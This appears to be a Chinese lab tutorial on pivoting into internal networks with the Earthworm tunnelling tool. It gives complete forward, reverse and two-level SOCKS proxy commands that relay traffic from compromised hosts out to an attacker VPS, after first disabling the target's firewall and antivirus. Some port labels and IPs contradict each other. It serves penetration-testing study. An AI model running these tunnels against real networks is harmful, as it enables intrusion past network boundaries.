【内网—内网转发】——代理转发_ew(Earthworm)代理转发
时间:2022-11-09 20:30:01
文章目录
-
- 一、环境准备:
- 二、工具:
- 三、概念:
- 四、学习目的:
- 五、ew(Earthworm)介绍:
- 六、ew(Earthworm)使用说明:
- 七、ew(Earthworm)正向代理(适用于被控服务器公网IP):
-
- 1.?场景:
- 2.?网络拓扑图:
- 3.?说明:
- 4.?实验过程:
- 八、ew(Earthworm)反向代理:
-
- 1.?一级代理:
-
- 1.1?场景:
- 1.网络拓扑图:
- 1.3?说明:
- 1.4实验过程:
- 2.?二级代理(一):
-
- 2.1?场景:
- 2.网络拓扑图:
- 2.3?说明:
- 2.4实验过程:
- 3.?二级代理(二):
-
- 3.1?场景:
- 3.网络拓扑图:
- 3.3?说明:
- 3.4实验过程:
一、环境准备:
??关闭靶机电脑的防火墙、病毒和威胁防护。
??打开内网主机的远程桌面。
二、工具:
ew(Earthworm)内网穿透工具
proxifier客户端代理工具
三、概念:
??内网渗透不仅仅是反弹shell,当我们反弹一个端口时,我们需要进一步扫描和渗透内网。此时,我们需要找到一个代理服务器作为外网和内网数据转发的节点,通过我们控制的服务器将网段的流量转发到公共网络(互联网)。
??所以有反弹代理,也叫反弹socket。
四、学习目的:
??在我们的渗透测试过程中,我们获得了目标服务器getshell权限完成后,进一步渗透内网其他服务器或主机;这样,其他主机需要收集信息、端口、服务检测和漏洞扫描。
??这样的操作反弹shell端口转发不能满足需求,需要进一步反弹代理,通过我们控制的目标服务器,目标服务器作为代理服务器,作为外部网络和内部网络数据转发节点,内部网络流量到公共网络,方便我们探索其他主机的目标服务器和漏洞。
五、ew(Earthworm)介绍:
??EW 便携式网络穿透工具 SOCKS v在复杂的网络环境下,可以完成网络穿透,包括服务架设和端口转发。
??该工具可以通过积极、反向、多级联系等方式打开网络隧道,直接进入网络深处,用蚯蚓独特的手段突破网络限制,松开防火墙。
??适用于不同操作系统的工具包提供多种可执行文件,Linux、Windows、MacOS、Arm-Linux 都包括在内。
六、ew(Earthworm)使用说明:
??该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。
D:\ew>ew_for_Win.exe -h 版本:free1.2 ./xxx ([-options] [values])* 选项 : 例如:./xxx -s ssocksd span class="token operator">-h
-s 指定工作模式。工作模式支持如下:
ssocksd , rcsocks , rssocks ,lcx_listen , lcx_tran , lcx_slave
ssocksd 创建正向socks代理服务端,监听在本地,直接把当前环境socks代理出去。
rssocks 创建反向socks代理服务端
rcsocks 反向socks代理客户端
lcx_tran 正向tcp端口转发,监听在本地
lcx_slave 反向tcp转发客户端
lcx_listen 反向tcp服务端
-l listenport为服务器打开一个监听端口。
-d refhost 设置反射主机地址。
-e refport 设置反射端口。
-f connhost 设置连接主机地址。
-g connport 设置连接端口。
-h help 显示帮助文本,通过添加 -s 参数,您还可以查看更详细的帮助。
-a about 显示关于页面
-v version 显示版本。
-t usectime 设置超时的毫秒数。 默认的值为 1000
可以参考:http://rootkiter.com/EarthWorm/
七、ew(Earthworm)正向代理(适用于被控服务器拥有一个公网IP):
1. 场景:
目标网络边界服务器存在公网IP且可任意开监听端口。
角色 | 系统 | 网卡 | IP(网段) |
---|---|---|---|
攻击机 | windows10虚拟机 | NAT | 192.168.100.151 |
被控主机1 | windows08虚拟机 | NAT VMnet1 |
192.168.100.158(公网IP) 172.16.10.10 |
内网主机 | windows03虚拟机 | VMnet1 | 172.16.10.11 |
2. 网络拓扑图:
3. 说明:
正向代理是服务器开放监听端口,客户端(攻击者)主动连接服务器的端口。
适用于被控服务器拥有一个公网IP。
4. 实验过程:
1、在被控主机使用ew打开一个监听端口:
命令:
ew_for_Win.exe -s ssocksd -l 6666
-s 指定工作模式
ssocksd 创建正向socks代理服务端,监听在本地,直接把当前环境socks代理出去
-l listenport为服务器打开一个监听端口
2、查看监听端口是否打开,可以看出监听端口已经打开:
3、使用proxifier代理工具客户端连接ew(Earthworm)的正向连接服务端:
在进行测试时可以出现无法连通的现象,这时需要在【被控主机1】的ew命令行里面敲一下回车键:
4、在攻击机上面连接被控服务器所在内网段的内网主机172.16.10.11:
八、ew(Earthworm)反向代理:
1. 一级代理:
1.1 场景:
目标网络边界不存在公网IP,能够访问内网资源,可以访问公网,需要通过反弹方式创建 socks 代理。
角色 | 系统 | 网卡 | IP(网段) |
---|---|---|---|
攻击机 | windows10虚拟机 | NAT | 192.168.100.151 |
攻击者的公网vps | windows10虚拟机 | NAT | 192.168.100.152 |
被控主机1 | windows08虚拟机 | NAT VMnet1 |
192.168.100.158 172.16.10.10 |
内网主机 | windows03虚拟机 | VMnet1 | 172.16.10.11 |
1.2 网络拓扑图:
1.3 说明:
反向代理是客户端开发端口,服务器连接客户端。
适用于目标机器没有公网IP,但可访问内网资源。
1.4 实验过程:
1、在攻击者的公网vps上添加转接隧道,将6666收到的代理请求转交给反连8888端口的被控服务器:
命令:
ew_for_Win.exe -s rcsocks -l 6666 -e 8888
-s 指定工作模式
rcsocks 反向socks代理客户端
-l listenport在代理客户端设置监听端口,将6666收到的 代理请求 转交给反连8888端口的被控服务器。
-e refport设置反弹端口,用于接收被控服务器反弹过来的代理流量。
2、在被控服务器上启动SOCKS v5服务并反弹到公网vps主机的8888端口
:
命令:
ew_for_Win.exe -s rssocks -d 192.168.100.152 -e 8888
-s 指定工作模式
rssocks 创建反向socks代理服务端
-d refhost设置反弹主机地址(IP)。
-e refport设置反弹端口,反弹给公网vps开启的8888端口。
3、在公网vps出现以下界面,说明连接成功:
4、使用proxifier代理工具客户端连接公网vps上ew(Earthworm)的监听的端口:
在进行测试时可以出现无法连通的现象,这时需要在【攻击者的公网vps】的ew命令行里面敲一下回车键:
5、在攻击机上面连接被控服务器所在内网段的内网主机172.16.10.11:
2. 二级代理(一):
2.1 场景:
在获得边界服务器【被控主机1】的webshell后,通过横向移动到内网环境1中的【被控主机2】,发现【被控主机2】同时处于另一个内网环境2中,但【被控主机2】所处的内网环境2无法访问公网,公网也无法访问【被控主机2】所在内网环境2 ,【被控主机2】却可以单向访问【被控主机1】,这时需要把【被控主机2】所在的内网环境2的流量代理出来。
角色 | 系统 | 网卡 | IP(网段) |
---|---|---|---|
攻击机 | windows10虚拟机 | NAT | 192.168.100.151 |
攻击者的公网vps | windows10虚拟机 | NAT | 192.168.100.152 |
被控主机1 | windows08虚拟机 | NAT VMnet1 |
192.168.100.158 172.16.10.10 |
被控主机2 | windows08虚拟机 | VMnet1 VMnet2 |
172.16.10.11 10.1.1.1 |
内网主机 | windows03虚拟机 | VMnet1 | 172.16.10.11 |
2.2 网络拓扑图:
2.3 说明:
反向代理是客户端开发端口,服务器连接客户端。
适用于目标机器没有公网IP,但可访问内网资源。
2.4 实验过程:
1、在公网vps添加转接隧道,将6666端口收到的代理请求流量转交给反连8888端口的被控主机:
命令:
ew_for_Win.exe -s rcsocks -l 6666 -e 8888
-s 指定工作模式
rcsocks 反向socks代理客户端
-l listenport在代理客户端设置监听端口,将6666收到的 代理请求 转交给反连8888端口的被控服务器。
-e refport设置反弹端口,用于接收被控服务器反弹过来的代理流量。
2、在被控服主机1上启动监听本机端口9999,并将9999端口接收到的代理流量,转发给攻击者的公网vps的8888端口:
命令:
ew_for_Win.exe -s lcx_tran -l 被控主机1本机端口 -f 攻击者的公网vps_IP -g 8888
ew_for_Win.exe -s lcx_tran -l 9999 -f 192.168.100.152 -g 8888
-s 指定工作模式
rssocks 创建反向socks代理服务端
-l listenport在被控主机1上设置监听端口9999,将9999收到的 代理请求 转交给攻击者的公网vps的8888端口。
-f connhost 设置连接主机地址(IP)。
-g connport 设置连接端口。
这个命令的意思就是,把本机9999接收到的代理流量,转发到攻击者公网vps的192.168.100.152的8888端口上。
3、在被控主机2启动SOCKS v5代理服务端,并反弹到被控主机1的8888端口 :
ew_for_Win.exe -s rssocks -d 172.16.10.10 -e 9999
-s 指定工作模式
rssocks 创建反向socks代理服务端
-d refhost设置反弹主机地址(IP)。
-e refport设置反弹端口,反弹给公网vps开启的8888端口。
这个命令的意思就是在被控主机2启动SOCKS v5代理服务端,把本机的代理流量反向代理到被控服务器1的9999端口。
4、使用proxifier代理工具客户端连接公网vps上ew(Earthworm)的监听的端口:
5、在攻击机上面连接第二级内网被控主机所在内网段的内网主机10.1.1.2:
3. 二级代理(二):
3.1 场景:
在获得边界服务器【被控主机1】的webshell后,发现被控主机1没有公网IP,但处于边界的【被控主机1】可访问公网;攻击者通过横向移动到内网环境1中的【被控主机2】,发现【被控主机2】同时处于另一个内网环境2中,但【被控主机2】所处的内网环境2无法访问公网,公网也无法访问【被控主机2】所在内网环境2 ,但处于边界的【被控主机1】却可以单向访问【被控主机2】所处的内网环境2,这时需要把【被控主机2】所在的内网环境2的流量代理出来。
角色 | 系统 | 网卡 | IP(网段) |
---|---|---|---|
攻击机 | windows10虚拟机 | NAT | 192.168.100.151 |
攻击者的公网vps | windows10虚拟机 | NAT | 192.168.100.152 |
被控主机1 | windows08虚拟机 | NAT VMnet1 |
192.168.100.158 172.16.10.10 |
被控主机2 | windows08虚拟机 | VMnet1 VMnet2 |
172.16.10.11 10.1.1.1 |
内网主机 | windows03虚拟机 | VMnet1 | 10.1.1.2 |
3.2 网络拓扑图:
3.3 说明:
反向代理是客户端开发端口,服务器连接客户端。
适用于目标机器没有公网IP,但可访问内网资源。
3.4 实验过程:
1、在攻击者的公网vps添加转接隧道,通过ew的lcx_listen模块监听本机的6666端口,把6666端口接受到的代理请求,转发到反连8888端口的主机:
命令:
ew_for_Win.exe -s lcx_listen -l 6666 -e 8888
-s 指定工作模式
lcx_listen 反向tcp服务端
-l listenport在代理客户端设置监听端口,将6666收到的 代理请求 转交给反连8888端口的被控服务器。
-e refport设置反弹端口,用于接收被控服务器反弹过来的代理流量。
2、在内网环境2中的【被控主机2】上通过ssocksd模块,开启正向代理服务,通过ssocksd模块监听【被控主机2】本机的9999端口,通过正向代理,把外流量引向内网:
命令:
ew_for_Win.exe -s ssocksd -l 9999
-s 指定工作模式
ssocksd 创建正向socks代理服务端,监听在本地,直接把当前环境socks代理出去
-l listenport为服务器打开一个监听端口
3、在内网环境1中的被控主机1运行以下命令,通过ew的lcx_slave流量转发模块,将正向连接到攻击者的公网vps的8888端口,而获得的代理请求流量,转发给内网环境2的【被控主机2】,从而获得内网环境2的内网流量:
ew_for_Win.exe -s lcx_slave -d 攻击者的公网vps_IP -e 8888 -f 处于2级内网的被控主机 -g 9999
ew_for_Win.exe -s lcx_slave -d 192.168.100.152 -e 8888 -f 172.16.10.11 -g 9999
-s 指定工作模式
lcx_slave 反向tcp转发客户端
-d refhost设置反弹主机地址(IP)。
-e refport设置反弹端口,反弹给公网vps开启的8888端口
-f connhost 设置连接主机地址
-g connport 设置连接端口
4、使用proxifier代理工具客户端连接公网vps上ew(Earthworm)的监听的端口:
5、在攻击机上面连接第二级内网被控主机所在内网段的内网主机10.1.1.2: